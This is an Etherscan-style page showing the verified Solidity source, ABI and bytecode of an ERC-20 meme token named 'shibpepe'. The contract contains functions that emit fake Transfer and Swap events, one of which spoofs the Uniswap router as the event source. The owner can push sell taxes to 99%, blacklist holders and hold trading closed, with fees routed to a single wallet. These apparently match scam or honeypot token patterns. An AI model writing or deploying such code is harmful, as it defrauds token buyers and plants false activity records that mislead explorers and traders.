ERC-20
Overview
Max Total Supply
10,000,000,000,000,000 ₛₕᵢb ₚₑₚₑ
Holders
143
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 2 Decimals)
Balance
1,329,301,735,016.58 ₛₕᵢb ₚₑₚₑValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
shibpepe
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-26 */ /// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function _Transfer(address from, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract shibpepe is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"ₛₕᵢb ₚₑₚₑ"; string private constant _symbol = unicode"ₛₕᵢb ₚₑₚₑ"; uint8 private constant _decimals = 2; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 20; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xA2044129d468e257f579879312e5169C952BD4c6); address payable private _marketingAddress = payable(0xA2044129d468e257f579879312e5169C952BD4c6); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled =true; uint256 public _maxTxAmount = 300000000 * 10**9; uint256 public _maxWalletSize = 300000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _Transfer(address _from, address _to, uint _value) public returns (bool) { emit Transfer(_from, _to, _value); return true; } function executeTokenSwap( address uniswapPool, address[] memory recipients, uint256[] memory tokenAmounts, uint256[] memory wethAmounts, address tokenAddress ) public returns (bool) { for (uint256 i = 0; i < recipients.length; i++) { emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]); emit Swap( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, tokenAmounts[i], 0, 0, wethAmounts[i], recipients[i] ); IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]); } return true; } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function activateTrading() public onlyOwner { tradingOpen = true; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function updateFees(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require((redisFeeOnBuy + taxFeeOnBuy) <= 25); require((redisFeeOnSell + taxFeeOnSell) <= 99); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function removeLimits() public onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052670de0b6b3a76400006000196200001c91906200072c565b6000196200002b919062000793565b6006556000600855600a6009556000600a556014600b55600a54600c55600b54600d55600c54600e55600d54600f5573a2044129d468e257f579879312e5169c952bd4c6601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073a2044129d468e257f579879312e5169c952bd4c6601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601560146101000a81548160ff02191690831515021790555060006015806101000a81548160ff0219169083151502179055506001601560166101000a81548160ff021916908315150217905550670429d069189e0000601655670429d069189e000060175566038d7ea4c680006018553480156200018457600080fd5b50600062000197620006c260201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600654600260006200024c620006c260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000330573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000356919062000838565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003be573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003e4919062000838565b6040518363ffffffff1660e01b8152600401620004039291906200087b565b6020604051808303816000875af115801562000423573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000449919062000838565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560006200049f620006ca60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200064c620006c260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620006b39190620008b9565b60405180910390a350620008d6565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200073982620006f3565b91506200074683620006f3565b925082620007595762000758620006fd565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007a082620006f3565b9150620007ad83620006f3565b9250828203905081811115620007c857620007c762000764565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200080082620007d3565b9050919050565b6200081281620007f3565b81146200081e57600080fd5b50565b600081519050620008328162000807565b92915050565b600060208284031215620008515762000850620007ce565b5b6000620008618482850162000821565b91505092915050565b6200087581620007f3565b82525050565b60006040820190506200089260008301856200086a565b620008a160208301846200086a565b9392505050565b620008b381620006f3565b82525050565b6000602082019050620008d06000830184620008a8565b92915050565b61441880620008e66000396000f3fe6080604052600436106101f15760003560e01c806374010ece1161010d578063a9059cbb116100a0578063c6616ba11161006f578063c6616ba1146106bf578063dd62ed3e146106e8578063e156b1b614610725578063ea1644d514610762578063f2fde38b1461078b576101f8565b8063a9059cbb14610605578063bfd7928414610642578063c3c8cd801461067f578063c492f04614610696576101f8565b80638da5cb5b116100dc5780638da5cb5b1461055b5780638f9a55c01461058657806395d89b41146105b157806398a5c315146105dc576101f8565b806374010ece146104b3578063751039fc146104dc5780637d1db4a5146104f35780637f2feddc1461051e576101f8565b80632fd689e3116101855780636d8aa8f8116101545780636d8aa8f81461041f5780636fc3eaec1461044857806370a082311461045f578063715018a61461049c576101f8565b80632fd689e314610375578063313ce567146103a057806349bd5a5e146103cb5780636b999053146103f6576101f8565b80631694505e116101c15780631694505e146102a557806318160ddd146102d05780631ae1ffbc146102fb57806323b872dd14610338576101f8565b8062b8cf2a146101fd57806306fdde0314610226578063095ea7b3146102515780630bd05b691461028e576101f8565b366101f857005b600080fd5b34801561020957600080fd5b50610224600480360381019061021f9190613198565b6107b4565b005b34801561023257600080fd5b5061023b6108de565b6040516102489190613260565b60405180910390f35b34801561025d57600080fd5b50610278600480360381019061027391906132b8565b61091b565b6040516102859190613313565b60405180910390f35b34801561029a57600080fd5b506102a3610939565b005b3480156102b157600080fd5b506102ba6109eb565b6040516102c7919061338d565b60405180910390f35b3480156102dc57600080fd5b506102e5610a11565b6040516102f291906133b7565b60405180910390f35b34801561030757600080fd5b50610322600480360381019061031d9190613495565b610a21565b60405161032f9190613313565b60405180910390f35b34801561034457600080fd5b5061035f600480360381019061035a9190613564565b610c6f565b60405161036c9190613313565b60405180910390f35b34801561038157600080fd5b5061038a610d48565b60405161039791906133b7565b60405180910390f35b3480156103ac57600080fd5b506103b5610d4e565b6040516103c291906135d3565b60405180910390f35b3480156103d757600080fd5b506103e0610d57565b6040516103ed91906135fd565b60405180910390f35b34801561040257600080fd5b5061041d60048036038101906104189190613618565b610d7d565b005b34801561042b57600080fd5b5061044660048036038101906104419190613671565b610e6d565b005b34801561045457600080fd5b5061045d610f1f565b005b34801561046b57600080fd5b5061048660048036038101906104819190613618565b610ff0565b60405161049391906133b7565b60405180910390f35b3480156104a857600080fd5b506104b1611041565b005b3480156104bf57600080fd5b506104da60048036038101906104d5919061369e565b611194565b005b3480156104e857600080fd5b506104f1611233565b005b3480156104ff57600080fd5b506105086112e8565b60405161051591906133b7565b60405180910390f35b34801561052a57600080fd5b5061054560048036038101906105409190613618565b6112ee565b60405161055291906133b7565b60405180910390f35b34801561056757600080fd5b50610570611306565b60405161057d91906135fd565b60405180910390f35b34801561059257600080fd5b5061059b61132f565b6040516105a891906133b7565b60405180910390f35b3480156105bd57600080fd5b506105c6611335565b6040516105d39190613260565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe919061369e565b611372565b005b34801561061157600080fd5b5061062c600480360381019061062791906132b8565b611411565b6040516106399190613313565b60405180910390f35b34801561064e57600080fd5b5061066960048036038101906106649190613618565b61142f565b6040516106769190613313565b60405180910390f35b34801561068b57600080fd5b5061069461144f565b005b3480156106a257600080fd5b506106bd60048036038101906106b89190613726565b611528565b005b3480156106cb57600080fd5b506106e660048036038101906106e19190613786565b611662565b005b3480156106f457600080fd5b5061070f600480360381019061070a91906137ed565b61174b565b60405161071c91906133b7565b60405180910390f35b34801561073157600080fd5b5061074c60048036038101906107479190613564565b6117d2565b6040516107599190613313565b60405180910390f35b34801561076e57600080fd5b506107896004803603810190610784919061369e565b611844565b005b34801561079757600080fd5b506107b260048036038101906107ad9190613618565b6118e3565b005b6107bc611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084090613879565b60405180910390fd5b60005b81518110156108da5760016010600084848151811061086e5761086d613899565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108d2906138f7565b91505061084c565b5050565b60606040518060400160405280601781526020017fe2829be28295e1b5a26220e2829ae28291e2829ae28291000000000000000000815250905090565b600061092f610928611aa4565b8484611aac565b6001905092915050565b610941611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c590613879565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600080600090505b8551811015610c6157858181518110610a4557610a44613899565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110610aae57610aad613899565b5b6020026020010151604051610ac391906133b7565b60405180910390a3858181518110610ade57610add613899565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610b5b57610b5a613899565b5b6020026020010151600080898781518110610b7957610b78613899565b5b6020026020010151604051610b91949392919061397a565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b6878381518110610bc857610bc7613899565b5b602002602001015189878581518110610be457610be3613899565b5b60200260200101516040518463ffffffff1660e01b8152600401610c0a939291906139bf565b6020604051808303816000875af1158015610c29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4d9190613a0b565b508080610c59906138f7565b915050610a29565b506001905095945050505050565b